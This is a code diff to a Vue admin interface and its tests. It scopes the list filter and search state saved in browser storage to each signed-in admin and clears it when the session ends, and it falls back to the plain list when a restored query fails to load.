|
||||
import { clearUser, me } from './state/useAuth'
|
||||
import { expireSession, me } from './state/useAuth'
|
||||
import { loadNavigation } from './state/useNavigation'
|
||||
import { loadSettings } from './state/useSettings'
|
||||
import './styles/main.css'
|
||||
@@ -22,13 +22,9 @@ async function boot(): Promise<void> {
|
||||
await Promise.all([loadNavigation().catch(() => []), loadSettings().catch(() => [])])
|
||||
}
|
||||
const router = createAdminRouter()
|
||||
onUnauthorized(() => {
|
||||
clearUser()
|
||||
const current = router.currentRoute.value
|
||||
if (current.name !== 'login') {
|
||||
void router.push({ name: 'login', query: { redirect: current.fullPath } })
|
||||
}
|
||||
})
|
||||
// A session that cannot be recovered ends here: the profile and every
|
||||
// stored list query are cleared before the login screen shows (T-16.1-03).
|
||||
onUnauthorized(() => expireSession(router))
|
||||
const app = createApp(App)
|
||||
app.use(router)
|
||||
await router.isReady()
|
||||
|
||||
@@ -1,11 +1,16 @@
|
||||
// Per-list query memory (D-01). The list query (search, sort, dir, page,
|
||||
// per_page and filter[<name>]) lives in the URL; every query a list loads is
|
||||
// also kept in localStorage under LIST_STATE_PREFIX plus the controller id,
|
||||
// one key per list, so a list opened without list params (navigation,
|
||||
// breadcrumb, a form's back, cancel, save or delete) can restore it. Only
|
||||
// these list query parameters are stored, never a token or record data, and
|
||||
// logout removes every key. Disabled or full storage is a no-op: the URL
|
||||
// still carries the state.
|
||||
// also kept in localStorage, one key per signed-in admin and list:
|
||||
// LIST_STATE_PREFIX + "<admin id>:" + controller id. A list opened without
|
||||
// list params (navigation, breadcrumb, a form's back, cancel, save or delete)
|
||||
// can then restore it. Only these list query parameters are stored, never a
|
||||
// token or record data. Search terms can hold personal data, so stored
|
||||
// queries never outlive the session or cross admins (T-16.1-03): useAuth sets
|
||||
// the owner when the profile loads, which removes every list key of any other
|
||||
// admin and the unscoped keys of older builds, and clears the owner on every
|
||||
// session end (logout, expiry, a 401 the refresh cannot recover), which
|
||||
// removes every list key. Without an owner nothing is read or written.
|
||||
// Disabled or full storage is a no-op: the URL still carries the state.
|
||||
import type { ListQuery } from '../api/types'
|
||||
import { listQueryKey, parseListQuery, toListQuery } from '../app/listQuery'
|
||||
|
||||
@@ -13,6 +18,9 @@ export const LIST_STATE_PREFIX = 'summer-admin.list:'
|
||||
|
||||
const EMPTY_KEY = listQueryKey({})
|
||||
|
||||
// The signed-in admin's id as a string, or null when nobody is signed in.
|
||||
let owner: string | null = null
|
||||
|
||||
function storage(): Storage | null {
|
||||
try {
|
||||
return typeof window === 'undefined' ? null : window.localStorage
|
||||
@@ -21,8 +29,13 @@ function storage(): Storage | null {
|
||||
}
|
||||
}
|
||||
|
||||
function keyOf(controllerId: string): string {
|
||||
return LIST_STATE_PREFIX + controllerId
|
||||
/** The key prefix of one admin's lists. */
|
||||
export function listStateOwnerPrefix(adminId: number | string): string {
|
||||
return `${LIST_STATE_PREFIX}${adminId}:`
|
||||
}
|
||||
|
||||
function keyOf(controllerId: string): string | null {
|
||||
return owner === null ? null : listStateOwnerPrefix(owner) + controllerId
|
||||
}
|
||||
|
||||
function remove(key: string): void {
|
||||
@@ -33,13 +46,60 @@ function remove(key: string): void {
|
||||
}
|
||||
}
|
||||
|
||||
/** Removes every list key for which drop answers true. */
|
||||
function removeListKeys(drop: (key: string) => boolean): void {
|
||||
const store = storage()
|
||||
if (!store) {
|
||||
return
|
||||
}
|
||||
try {
|
||||
const keys: string[] = []
|
||||
for (let i = 0; i < store.length; i++) {
|
||||
const key = store.key(i)
|
||||
if (key !== null && key.startsWith(LIST_STATE_PREFIX) && drop(key)) {
|
||||
keys.push(key)
|
||||
}
|
||||
}
|
||||
for (const key of keys) {
|
||||
store.removeItem(key)
|
||||
}
|
||||
} catch {
|
||||
// Storage may be disabled; nothing was kept then.
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Sets the admin whose list queries are read and written. A signed-in admin
|
||||
* id removes every list key that is not theirs: another admin's queries and
|
||||
* the unscoped `summer-admin.list:<controller>` keys of older builds. Null
|
||||
* (signed out) removes every list key.
|
||||
*/
|
||||
export function setListStateOwner(adminId: number | string | null): void {
|
||||
const next = adminId === null || String(adminId) === '' ? null : String(adminId)
|
||||
owner = next
|
||||
if (next === null) {
|
||||
removeListKeys(() => true)
|
||||
return
|
||||
}
|
||||
const prefix = listStateOwnerPrefix(next)
|
||||
removeListKeys((key) => !key.startsWith(prefix))
|
||||
}
|
||||
|
||||
/** The id whose list queries are kept, or null when nobody is signed in. */
|
||||
export function listStateOwner(): string | null {
|
||||
return owner
|
||||
}
|
||||
|
||||
/**
|
||||
* The stored query of a list. Stored values pass through parseListQuery like
|
||||
* a hand-edited URL; anything that is not an object of strings is removed and
|
||||
* reads as the empty query.
|
||||
* reads as the empty query. Without an owner it is always the empty query.
|
||||
*/
|
||||
export function readListState(controllerId: string): ListQuery {
|
||||
const key = keyOf(controllerId)
|
||||
if (key === null) {
|
||||
return {}
|
||||
}
|
||||
let raw: string | null = null
|
||||
try {
|
||||
raw = storage()?.getItem(key) ?? null
|
||||
@@ -69,9 +129,15 @@ export function readListState(controllerId: string): ListQuery {
|
||||
return parseListQuery(value as Record<string, string>)
|
||||
}
|
||||
|
||||
/** Stores a list's query; the empty query removes the key instead. */
|
||||
/**
|
||||
* Stores a list's query for the owner; the empty query removes the key
|
||||
* instead. Without an owner nothing is stored.
|
||||
*/
|
||||
export function writeListState(controllerId: string, query: ListQuery): void {
|
||||
const key = keyOf(controllerId)
|
||||
if (key === null) {
|
||||
return
|
||||
}
|
||||
if (listQueryKey(query) === EMPTY_KEY) {
|
||||
remove(key)
|
||||
return
|
||||
@@ -83,24 +149,7 @@ export function writeListState(controllerId: string, query: ListQuery): void {
|
||||
}
|
||||
}
|
||||
|
||||
/** Removes every stored list query (logout). */
|
||||
/** Removes every stored list query of every admin, keeping the owner. */
|
||||
export function clearListStates(): void {
|
||||
const store = storage()
|
||||
if (!store) {
|
||||
return
|
||||
}
|
||||
try {
|
||||
const keys: string[] = []
|
||||
for (let i = 0; i < store.length; i++) {
|
||||
const key = store.key(i)
|
||||
if (key !== null && key.startsWith(LIST_STATE_PREFIX)) {
|
||||
keys.push(key)
|
||||
}
|
||||
}
|
||||
for (const key of keys) {
|
||||
store.removeItem(key)
|
||||
}
|
||||
} catch {
|
||||
// Storage may be disabled; nothing was kept then.
|
||||
}
|
||||
removeListKeys(() => true)
|
||||
}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
// Admin session state. The JWT travels in an HttpOnly cookie (D-19): the SPA
|
||||
// keeps only the profile and the access lifetime, never a token.
|
||||
import { readonly, ref } from 'vue'
|
||||
import type { Router } from 'vue-router'
|
||||
import type { RouteLocationNormalizedLoaded, Router } from 'vue-router'
|
||||
import { api, onRefreshed, refreshSession } from '../api/client'
|
||||
import type { AdminProfile } from '../api/types'
|
||||
import { clearListStates } from './listState'
|
||||
import { setListStateOwner } from './listState'
|
||||
import { setNavigation } from './useNavigation'
|
||||
import { setSettings } from './useSettings'
|
||||
|
||||
@@ -48,10 +48,15 @@ export async function login(identifier: string, password: string): Promise<boole
|
||||
return true
|
||||
}
|
||||
|
||||
/** Loads the signed-in admin; null when the session is missing or expired. */
|
||||
/**
|
||||
* Loads the signed-in admin; null when the session is missing or expired.
|
||||
* The stored list queries follow the answer: a profile keeps only that
|
||||
* admin's (another admin's are removed, T-16.1-03), no profile removes all.
|
||||
*/
|
||||
export async function me(): Promise<AdminProfile | null> {
|
||||
const { data, response } = await api.GET('/auth/me')
|
||||
user.value = response.ok && data ? data.data : null
|
||||
setListStateOwner(user.value?.id ?? null)
|
||||
return user.value
|
||||
}
|
||||
|
||||
@@ -73,12 +78,35 @@ export function profileInitials(user: Pick<AdminProfile, 'first_name' | 'last_na
|
||||
/** Replaces the signed-in profile, e.g. with the one PUT /account returned. */
|
||||
export function setCurrentUser(profile: AdminProfile): void {
|
||||
user.value = profile
|
||||
setListStateOwner(profile.id)
|
||||
}
|
||||
|
||||
/**
|
||||
* Forgets the session on this device: the refresh timer, the profile and
|
||||
* every stored list query (search terms can hold personal data and never
|
||||
* outlive the session, T-16.1-03).
|
||||
*/
|
||||
export function clearUser(): void {
|
||||
cancelRefresh()
|
||||
user.value = null
|
||||
expiresIn.value = null
|
||||
setListStateOwner(null)
|
||||
}
|
||||
|
||||
/**
|
||||
* The session ended on its own (expiry, or a 401 the refresh could not
|
||||
* recover): clears the local session, stored list queries included, and
|
||||
* sends the admin to the login screen with the current path as redirect.
|
||||
*/
|
||||
export function expireSession(router: {
|
||||
currentRoute: { value: Pick<RouteLocationNormalizedLoaded, 'name' | 'fullPath'> }
|
||||
push: Router['push']
|
||||
}): void {
|
||||
clearUser()
|
||||
const current = router.currentRoute.value
|
||||
if (current.name !== 'login') {
|
||||
void router.push({ name: 'login', query: { redirect: current.fullPath } }).catch(() => undefined)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -95,7 +123,6 @@ export async function logout(router?: Pick<Router, 'replace'>): Promise<void> {
|
||||
// Network failure: the session still ends on this device.
|
||||
} finally {
|
||||
clearUser()
|
||||
clearListStates()
|
||||
setNavigation([])
|
||||
setSettings([])
|
||||
}
|
||||
@@ -110,6 +137,7 @@ export function useAuth() {
|
||||
expiresIn: readonly(expiresIn),
|
||||
login,
|
||||
logout,
|
||||
expireSession,
|
||||
me,
|
||||
setCurrentUser,
|
||||
clearUser,
|
||||
|
||||
@@ -28,6 +28,10 @@ import { showToast } from '../state/useToasts'
|
||||
// kept per list in browser storage (listState.ts, D-01): entered without list
|
||||
// params, the list restores the stored query into the URL before its first
|
||||
// list request; a URL with list params wins and overwrites the stored query.
|
||||
// A restored query the admin did not ask for never breaks the list: if its
|
||||
// load fails for any reason, the stored query is forgotten and the plain list
|
||||
// loads once instead (WR-02). A failed URL query keeps the error, with a reset
|
||||
// back to the plain list next to it.
|
||||
const SEARCH_DEBOUNCE = 300
|
||||
|
||||
const route = useRoute()
|
||||
@@ -124,21 +128,47 @@ function replaceQuery(next: ListQuery): void {
|
||||
|
||||
const EMPTY_QUERY_KEY = listQueryKey({})
|
||||
|
||||
let generation = 0
|
||||
const hasQuery = computed(() => listQueryKey(query.value) !== EMPTY_QUERY_KEY)
|
||||
|
||||
async function loadList(): Promise<void> {
|
||||
let generation = 0
|
||||
// Key of the query the watch restored from storage and has not loaded yet.
|
||||
let restoredKey: string | null = null
|
||||
|
||||
/** Drops every list param: the stored query is forgotten, the plain list loads. */
|
||||
function resetQuery(): void {
|
||||
replaceQuery({})
|
||||
}
|
||||
|
||||
/**
|
||||
* Loads the rows of the URL query. restored marks the first load of a query
|
||||
* restored from storage: if it fails for any reason (422, 500, network), the
|
||||
* stored query is forgotten and the plain list loads. The plain list is never
|
||||
* restored again, so this happens at most once per entry.
|
||||
*/
|
||||
async function loadList(restored = false): Promise<void> {
|
||||
const current = ++generation
|
||||
loading.value = true
|
||||
listFailed.value = false
|
||||
const result = await api.GET('/{vendor}/{plugin}/{controller}', { params: { path, query: query.value } })
|
||||
let result: Awaited<ReturnType<typeof fetchList>> | null = null
|
||||
try {
|
||||
result = await fetchList()
|
||||
} catch {
|
||||
result = null
|
||||
}
|
||||
if (current !== generation) {
|
||||
return
|
||||
}
|
||||
rows.value = result.data?.data ?? []
|
||||
meta.value = result.data?.meta ?? null
|
||||
listFailed.value = !result.data
|
||||
if (!result?.data && restored) {
|
||||
// Keeps loading until the plain list answers; no error flashes.
|
||||
writeListState(controllerId, {})
|
||||
void router.replace({ path: route.path, query: {} })
|
||||
return
|
||||
}
|
||||
rows.value = result?.data?.data ?? []
|
||||
meta.value = result?.data?.meta ?? null
|
||||
listFailed.value = !result?.data
|
||||
loading.value = false
|
||||
if (result.response?.status === 422) {
|
||||
if (result?.response?.status === 422) {
|
||||
// A stale stored filter or sort never sticks.
|
||||
writeListState(controllerId, {})
|
||||
return
|
||||
@@ -150,6 +180,10 @@ async function loadList(): Promise<void> {
|
||||
}
|
||||
}
|
||||
|
||||
function fetchList() {
|
||||
return api.GET('/{vendor}/{plugin}/{controller}', { params: { path, query: query.value } })
|
||||
}
|
||||
|
||||
async function load(): Promise<void> {
|
||||
const result = await api.GET('/{vendor}/{plugin}/{controller}/schema/list', { params: { path } })
|
||||
schema.value = result.data?.data ?? null
|
||||
@@ -170,15 +204,19 @@ watch(
|
||||
// restore the stored query into the URL and let this watch load it.
|
||||
if (key === EMPTY_QUERY_KEY) {
|
||||
const stored = readListState(controllerId)
|
||||
if (listQueryKey(stored) !== EMPTY_QUERY_KEY) {
|
||||
const storedKey = listQueryKey(stored)
|
||||
if (storedKey !== EMPTY_QUERY_KEY) {
|
||||
restoredKey = storedKey
|
||||
void router.replace({ path: route.path, query: toListQuery(stored) })
|
||||
return
|
||||
}
|
||||
}
|
||||
const restored = restoredKey !== null && restoredKey === key
|
||||
restoredKey = null
|
||||
writeListState(controllerId, query.value)
|
||||
selected.value = []
|
||||
searchText.value = query.value.search ?? ''
|
||||
void loadList()
|
||||
void loadList(restored)
|
||||
},
|
||||
{ immediate: true },
|
||||
)
|
||||
@@ -417,9 +455,16 @@ async function onAction(name: string): Promise<void> {
|
||||
:source="path"
|
||||
@update="onFilter"
|
||||
/>
|
||||
<p v-if="failed && !loading" role="alert" class="border-t border-border px-5 py-4 text-danger">
|
||||
{{ t('backend::lang.list.load_failed') }}
|
||||
</p>
|
||||
<div
|
||||
v-if="failed && !loading"
|
||||
data-list-failed
|
||||
class="flex flex-wrap items-center justify-between gap-3 border-t border-border px-5 py-4"
|
||||
>
|
||||
<p role="alert" class="text-danger">{{ t('backend::lang.list.load_failed') }}</p>
|
||||
<Button v-if="listFailed && hasQuery" data-action="reset-list" @click="resetQuery">
|
||||
{{ t('backend::lang.list.reset_list') }}
|
||||
</Button>
|
||||
</div>
|
||||
<DataTable
|
||||
v-else
|
||||
:columns="schema?.columns ?? []"
|
||||
|
||||
3
admin/tests/fixtures/lang.json
vendored
3
admin/tests/fixtures/lang.json
vendored
@@ -186,6 +186,9 @@
|
||||
"backend::lang.list.records_per_page": {
|
||||
"other": "Na stronę"
|
||||
},
|
||||
"backend::lang.list.reset_list": {
|
||||
"other": "Wyczyść wyszukiwanie, filtry i sortowanie"
|
||||
},
|
||||
"backend::lang.list.results": {
|
||||
"one": ":count wynik",
|
||||
"few": ":count wyniki",
|
||||
|
||||
@@ -5,16 +5,19 @@ import FormView from '../../src/views/FormView.vue'
|
||||
import { recordCrumb } from '../../src/state/useBreadcrumbs'
|
||||
import { toasts } from '../../src/state/useToasts'
|
||||
import { WIDGET_EVENT } from '../../src/components/form/formContext'
|
||||
import { readListState, setListStateOwner, writeListState } from '../../src/state/listState'
|
||||
import {
|
||||
clone,
|
||||
extensionFormSchemaFixture,
|
||||
formSchemaFixture,
|
||||
langFixture,
|
||||
listFixture,
|
||||
listSchemaFixture,
|
||||
recordFixture,
|
||||
rosterFormSchemaFixture,
|
||||
rosterRecordFixture,
|
||||
} from '../fixtures/typed'
|
||||
import { API, mountApp, queryOf, requestsTo, resetState, type Reply, type Route } from '../helpers'
|
||||
import { API, mountApp, profile, queryOf, requestsTo, resetState, type Reply, type Route } from '../helpers'
|
||||
|
||||
const BASE = `${API}/acme/demo/widgets`
|
||||
const RECORD = `${BASE}/1`
|
||||
@@ -662,3 +665,85 @@ describe('password and preset on the form (UI-SPEC S7, D-19, D-27 G7)', () => {
|
||||
expect(body.name).toEqual({ en: 'Ada\nLovelace', pl: 'Ada po polsku' })
|
||||
})
|
||||
})
|
||||
|
||||
describe('returning to the list keeps its query (D-01)', () => {
|
||||
const LIST_ID = 'acme.demo.widgets'
|
||||
const STORED = { sort: 'code', dir: 'desc' as const, filter: { active: 'true' } }
|
||||
|
||||
/** The form routes plus the list schema and rows, so the form can return to the list. */
|
||||
function roundTrip(overrides: Record<string, Route> = {}): Record<string, Route> {
|
||||
return routes({
|
||||
[`GET ${BASE}/schema/list`]: { body: listSchemaFixture },
|
||||
[`GET ${BASE}`]: { body: listFixture },
|
||||
[`PUT ${RECORD}`]: { body: recordFixture },
|
||||
[`DELETE ${RECORD}`]: { body: { data: { deleted: true }, meta: {} } },
|
||||
...overrides,
|
||||
})
|
||||
}
|
||||
|
||||
/** The list lands on its path with the stored query, and every list request carries it. */
|
||||
function expectRestored(router: { currentRoute: { value: { path: string; query: Record<string, unknown> } } }, calls: Request[]) {
|
||||
expect(router.currentRoute.value.path).toBe('/acme/demo/widgets')
|
||||
expect(router.currentRoute.value.query).toEqual({ sort: 'code', dir: 'desc', 'filter[active]': 'true' })
|
||||
const lists = requestsTo(calls, 'GET', BASE)
|
||||
expect(lists.length).toBeGreaterThanOrEqual(1)
|
||||
for (const request of lists) {
|
||||
const query = queryOf(request)
|
||||
expect(query.get('sort')).toBe('code')
|
||||
expect(query.get('dir')).toBe('desc')
|
||||
expect(query.get('filter[active]')).toBe('true')
|
||||
}
|
||||
expect(readListState(LIST_ID)).toEqual(STORED)
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
// Stored for the admin mountApp signs in (list state is per admin).
|
||||
setListStateOwner(profile.data.id)
|
||||
writeListState(LIST_ID, STORED)
|
||||
})
|
||||
|
||||
it('tracer: the back action lands on the list with the stored query before the first list request', async () => {
|
||||
const { wrapper, calls, router } = await mountApp('/acme/demo/widgets/1', roundTrip())
|
||||
expect(requestsTo(calls, 'GET', BASE)).toHaveLength(0)
|
||||
await wrapper.find('[data-action="back"]').trigger('click')
|
||||
await flushPromises()
|
||||
expectRestored(router, calls)
|
||||
})
|
||||
|
||||
it('cancel lands on the list with the stored query', async () => {
|
||||
const { wrapper, calls, router } = await mountApp('/acme/demo/widgets/1', roundTrip())
|
||||
await wrapper.find('[data-action="cancel"]').trigger('click')
|
||||
await flushPromises()
|
||||
expectRestored(router, calls)
|
||||
})
|
||||
|
||||
it('save and close follows a redirectClose to the list and lands with the stored query', async () => {
|
||||
expect(formSchemaFixture.data.redirects.update.redirectClose).toBe('acme/demo/widgets')
|
||||
const { wrapper, calls, router } = await mountApp('/acme/demo/widgets/1', roundTrip())
|
||||
await wrapper.find('[data-action="save-close"]').trigger('click')
|
||||
await flushPromises()
|
||||
expect(requestsTo(calls, 'PUT', RECORD)).toHaveLength(1)
|
||||
expectRestored(router, calls)
|
||||
})
|
||||
|
||||
it('delete, once confirmed, lands on the list with the stored query', async () => {
|
||||
const { wrapper, calls, router } = await mountApp('/acme/demo/widgets/1', roundTrip(), { attach: true })
|
||||
await wrapper.find('[data-action="delete"]').trigger('click')
|
||||
await flushPromises()
|
||||
;(document.body.querySelector('[data-confirm-dialog] [data-action="confirm"]') as HTMLElement).click()
|
||||
await flushPromises()
|
||||
expect(requestsTo(calls, 'DELETE', RECORD)).toHaveLength(1)
|
||||
expectRestored(router, calls)
|
||||
})
|
||||
|
||||
it('lands on the unfiltered list when nothing is stored', async () => {
|
||||
writeListState(LIST_ID, {})
|
||||
const { wrapper, calls, router } = await mountApp('/acme/demo/widgets/1', roundTrip())
|
||||
await wrapper.find('[data-action="back"]').trigger('click')
|
||||
await flushPromises()
|
||||
expect(router.currentRoute.value.fullPath).toBe('/acme/demo/widgets')
|
||||
const lists = requestsTo(calls, 'GET', BASE)
|
||||
expect(lists).toHaveLength(1)
|
||||
expect([...queryOf(lists[0]!).keys()]).toEqual([])
|
||||
})
|
||||
})
|
||||
|
||||
@@ -3,7 +3,7 @@ import { enableAutoUnmount, flushPromises } from '@vue/test-utils'
|
||||
import { setBundle } from '../../src/app/i18n'
|
||||
import ListView from '../../src/views/ListView.vue'
|
||||
import { toasts } from '../../src/state/useToasts'
|
||||
import { readListState, writeListState } from '../../src/state/listState'
|
||||
import { LIST_STATE_PREFIX, readListState, setListStateOwner, writeListState } from '../../src/state/listState'
|
||||
import { OWNER_ATTRIBUTE } from '../../src/app/pluginAssets'
|
||||
import {
|
||||
clone,
|
||||
@@ -15,7 +15,7 @@ import {
|
||||
rosterListFixture,
|
||||
rosterListSchemaFixture,
|
||||
} from '../fixtures/typed'
|
||||
import { API, mountApp, queryOf, requestsTo, resetState, wait, type Reply, type Route } from '../helpers'
|
||||
import { API, mountApp, profile, queryOf, requestsTo, resetState, wait, type Reply, type Route } from '../helpers'
|
||||
|
||||
const BASE = `${API}/acme/demo/widgets`
|
||||
const serverError = { status: 500, body: { error: { code: 'server_error', message: 'Database down', details: {} } } }
|
||||
@@ -495,6 +495,11 @@ describe('bulk actions on the list (UI-SPEC S1, D-09)', () => {
|
||||
})
|
||||
|
||||
describe('list state in the URL and browser storage (D-01)', () => {
|
||||
beforeEach(() => {
|
||||
// Stored for the admin mountApp signs in (list state is per admin).
|
||||
setListStateOwner(profile.data.id)
|
||||
})
|
||||
|
||||
it('restores the stored query before the first list request when the URL has no list params', async () => {
|
||||
writeListState('acme.demo.widgets', { sort: 'code', dir: 'desc', filter: { active: 'true' } })
|
||||
const { calls, router } = await mountApp('/acme/demo/widgets', routes())
|
||||
@@ -515,3 +520,299 @@ describe('list state in the URL and browser storage (D-01)', () => {
|
||||
expect(readListState('acme.demo.widgets')).toEqual({ search: 'blue' })
|
||||
})
|
||||
})
|
||||
|
||||
describe('list state entry logic (D-01)', () => {
|
||||
const ID = 'acme.demo.widgets'
|
||||
const KEY = `summer-admin.list:${profile.data.id}:${ID}`
|
||||
|
||||
beforeEach(() => {
|
||||
setListStateOwner(profile.data.id)
|
||||
})
|
||||
|
||||
function listQueries(calls: Request[]): URLSearchParams[] {
|
||||
return requestsTo(calls, 'GET', BASE).map(queryOf)
|
||||
}
|
||||
|
||||
it('makes no list request without the stored params when the URL has none', async () => {
|
||||
writeListState(ID, { search: 'blue', sort: 'code', dir: 'desc', per_page: 50, filter: { active: 'true' } })
|
||||
const { calls, router } = await mountApp('/acme/demo/widgets', routes())
|
||||
await flushPromises()
|
||||
const sent = listQueries(calls)
|
||||
expect(sent.length).toBeGreaterThanOrEqual(1)
|
||||
for (const query of sent) {
|
||||
expect(query.get('search')).toBe('blue')
|
||||
expect(query.get('sort')).toBe('code')
|
||||
expect(query.get('dir')).toBe('desc')
|
||||
expect(query.get('per_page')).toBe('50')
|
||||
expect(query.get('filter[active]')).toBe('true')
|
||||
}
|
||||
expect(router.currentRoute.value.query).toEqual({
|
||||
search: 'blue',
|
||||
sort: 'code',
|
||||
dir: 'desc',
|
||||
per_page: '50',
|
||||
'filter[active]': 'true',
|
||||
})
|
||||
})
|
||||
|
||||
it('lets every list param of the URL win and overwrites the whole stored query', async () => {
|
||||
writeListState(ID, { search: 'old', sort: 'code', dir: 'desc', filter: { active: 'true' } })
|
||||
const { calls } = await mountApp('/acme/demo/widgets?sort=name&dir=asc&filter[active]=false', routes())
|
||||
await flushPromises()
|
||||
const sent = listQueries(calls)
|
||||
expect(sent).toHaveLength(1)
|
||||
expect(sent[0]!.get('sort')).toBe('name')
|
||||
expect(sent[0]!.get('search')).toBeNull()
|
||||
expect(sent[0]!.get('filter[active]')).toBe('false')
|
||||
expect(readListState(ID)).toEqual({ sort: 'name', dir: 'asc', filter: { active: 'false' } })
|
||||
})
|
||||
|
||||
it('forgets the stored query when every control is cleared, so the next entry loads unfiltered', async () => {
|
||||
const first = await mountApp('/acme/demo/widgets?search=blue&sort=code&dir=desc&filter[active]=true', routes())
|
||||
await flushPromises()
|
||||
expect(window.localStorage.getItem(KEY)).not.toBeNull()
|
||||
|
||||
await first.wrapper.find('[data-list-search]').setValue('')
|
||||
await wait(350)
|
||||
await flushPromises()
|
||||
expect(first.router.currentRoute.value.query.search).toBeUndefined()
|
||||
|
||||
await first.wrapper.find('[data-sort="code"]').trigger('click')
|
||||
await flushPromises()
|
||||
expect(first.router.currentRoute.value.query.sort).toBeUndefined()
|
||||
expect(window.localStorage.getItem(KEY)).not.toBeNull()
|
||||
|
||||
await first.wrapper.find('select[data-filter="active"]').setValue('')
|
||||
await flushPromises()
|
||||
expect(first.router.currentRoute.value.query).toEqual({})
|
||||
expect(window.localStorage.getItem(KEY)).toBeNull()
|
||||
first.wrapper.unmount()
|
||||
|
||||
const second = await mountApp('/acme/demo/widgets', routes())
|
||||
await flushPromises()
|
||||
const sent = listQueries(second.calls)
|
||||
expect(sent).toHaveLength(1)
|
||||
expect([...sent[0]!.keys()]).toEqual([])
|
||||
expect(second.router.currentRoute.value.fullPath).toBe('/acme/demo/widgets')
|
||||
})
|
||||
|
||||
it('keeps the filters when the same list is opened again from the navigation', async () => {
|
||||
const { calls, router } = await mountApp('/acme/demo/widgets?sort=code&dir=desc&filter[active]=true', routes())
|
||||
await flushPromises()
|
||||
const before = requestsTo(calls, 'GET', BASE).length
|
||||
await router.push('/acme/demo/widgets')
|
||||
await flushPromises()
|
||||
expect(router.currentRoute.value.query).toEqual({ sort: 'code', dir: 'desc', 'filter[active]': 'true' })
|
||||
for (const query of listQueries(calls).slice(before)) {
|
||||
expect(query.get('sort')).toBe('code')
|
||||
expect(query.get('filter[active]')).toBe('true')
|
||||
}
|
||||
expect(listQueries(calls).every((query) => query.get('filter[active]') === 'true')).toBe(true)
|
||||
expect(readListState(ID)).toEqual({ sort: 'code', dir: 'desc', filter: { active: 'true' } })
|
||||
})
|
||||
|
||||
it('drops the stored query when the list answers 422', async () => {
|
||||
const invalid = {
|
||||
status: 422,
|
||||
body: { error: { code: 'validation_failed', message: 'Invalid', details: { sort: ['unknown column'] } } },
|
||||
}
|
||||
writeListState(ID, { sort: 'gone', dir: 'asc' })
|
||||
const { calls } = await mountApp('/acme/demo/widgets', routes({ [`GET ${BASE}`]: invalid }))
|
||||
await flushPromises()
|
||||
expect(queryOf(requestsTo(calls, 'GET', BASE)[0]!).get('sort')).toBe('gone')
|
||||
expect(window.localStorage.getItem(KEY)).toBeNull()
|
||||
expect(readListState(ID)).toEqual({})
|
||||
})
|
||||
|
||||
it.each([
|
||||
['from the URL', '/acme/demo/widgets?page=5', false],
|
||||
['restored from storage', '/acme/demo/widgets', true],
|
||||
])('moves a page beyond last_page %s to last_page and requests that page', async (_label, url, stored) => {
|
||||
if (stored) {
|
||||
writeListState(ID, { page: 5 })
|
||||
}
|
||||
const pageOf = (request: Request) => Number(queryOf(request).get('page') ?? '1')
|
||||
const { calls, router } = await mountApp(
|
||||
url,
|
||||
routes({
|
||||
[`GET ${BASE}`]: (request: Request): Reply => {
|
||||
const page = pageOf(request)
|
||||
return { body: { data: page <= 2 ? listFixture.data : [], meta: { page, per_page: 20, total: 25, last_page: 2 } } }
|
||||
},
|
||||
}),
|
||||
)
|
||||
await flushPromises()
|
||||
expect(requestsTo(calls, 'GET', BASE).map(pageOf)).toEqual([5, 2])
|
||||
expect(router.currentRoute.value.query).toEqual({ page: '2' })
|
||||
expect(readListState(ID)).toEqual({ page: 2 })
|
||||
})
|
||||
})
|
||||
|
||||
describe('a restored query that fails falls back to the plain list once (WR-02)', () => {
|
||||
const ID = 'acme.demo.widgets'
|
||||
const KEY = `summer-admin.list:${profile.data.id}:${ID}`
|
||||
const invalid = {
|
||||
status: 422,
|
||||
body: { error: { code: 'validation_failed', message: 'Invalid', details: { sort: ['unknown column'] } } },
|
||||
}
|
||||
|
||||
function listQueries(calls: Request[]): URLSearchParams[] {
|
||||
return requestsTo(calls, 'GET', BASE).map(queryOf)
|
||||
}
|
||||
|
||||
/** Fails every list request that carries a sort, answers the plain list. */
|
||||
function failSorted(reply: Reply | 'throw'): Route {
|
||||
return (request: Request): Reply => {
|
||||
if (queryOf(request).get('sort') === null) {
|
||||
return { body: listFixture }
|
||||
}
|
||||
if (reply === 'throw') {
|
||||
throw new TypeError('Failed to fetch')
|
||||
}
|
||||
return reply
|
||||
}
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
setListStateOwner(profile.data.id)
|
||||
})
|
||||
|
||||
it.each([
|
||||
['answers 500', serverError as Reply | 'throw'],
|
||||
['answers 422', invalid as Reply | 'throw'],
|
||||
['cannot reach the server', 'throw' as const],
|
||||
])('forgets the stored query and shows the plain list when the restored request %s', async (_label, reply) => {
|
||||
writeListState(ID, { sort: 'broken', dir: 'desc', filter: { active: 'true' } })
|
||||
const { wrapper, calls, router } = await mountApp('/acme/demo/widgets', routes({ [`GET ${BASE}`]: failSorted(reply) }))
|
||||
await flushPromises()
|
||||
const sent = listQueries(calls)
|
||||
expect(sent).toHaveLength(2)
|
||||
expect(sent[0]!.get('sort')).toBe('broken')
|
||||
expect(sent[0]!.get('filter[active]')).toBe('true')
|
||||
expect([...sent[1]!.keys()]).toEqual([])
|
||||
expect(router.currentRoute.value.fullPath).toBe('/acme/demo/widgets')
|
||||
expect(window.localStorage.getItem(KEY)).toBeNull()
|
||||
expect(wrapper.find('[role="alert"]').exists()).toBe(false)
|
||||
expect(wrapper.find('table').exists()).toBe(true)
|
||||
expect(wrapper.findAll('[data-sort]').length).toBeGreaterThan(0)
|
||||
expect(wrapper.findAll('tbody tr')).toHaveLength(listFixture.data.length)
|
||||
})
|
||||
|
||||
it('falls back exactly once: a failing plain list shows the error and asks no more', async () => {
|
||||
writeListState(ID, { sort: 'broken', dir: 'asc' })
|
||||
const { wrapper, calls, router } = await mountApp('/acme/demo/widgets', routes({ [`GET ${BASE}`]: serverError }))
|
||||
await flushPromises()
|
||||
await wait(20)
|
||||
await flushPromises()
|
||||
const sent = listQueries(calls)
|
||||
expect(sent).toHaveLength(2)
|
||||
expect(sent[0]!.get('sort')).toBe('broken')
|
||||
expect([...sent[1]!.keys()]).toEqual([])
|
||||
expect(router.currentRoute.value.fullPath).toBe('/acme/demo/widgets')
|
||||
expect(wrapper.find('[role="alert"]').text()).toBe('Nie udało się wczytać listy.')
|
||||
// Nothing to reset: the plain list itself failed.
|
||||
expect(wrapper.find('[data-action="reset-list"]').exists()).toBe(false)
|
||||
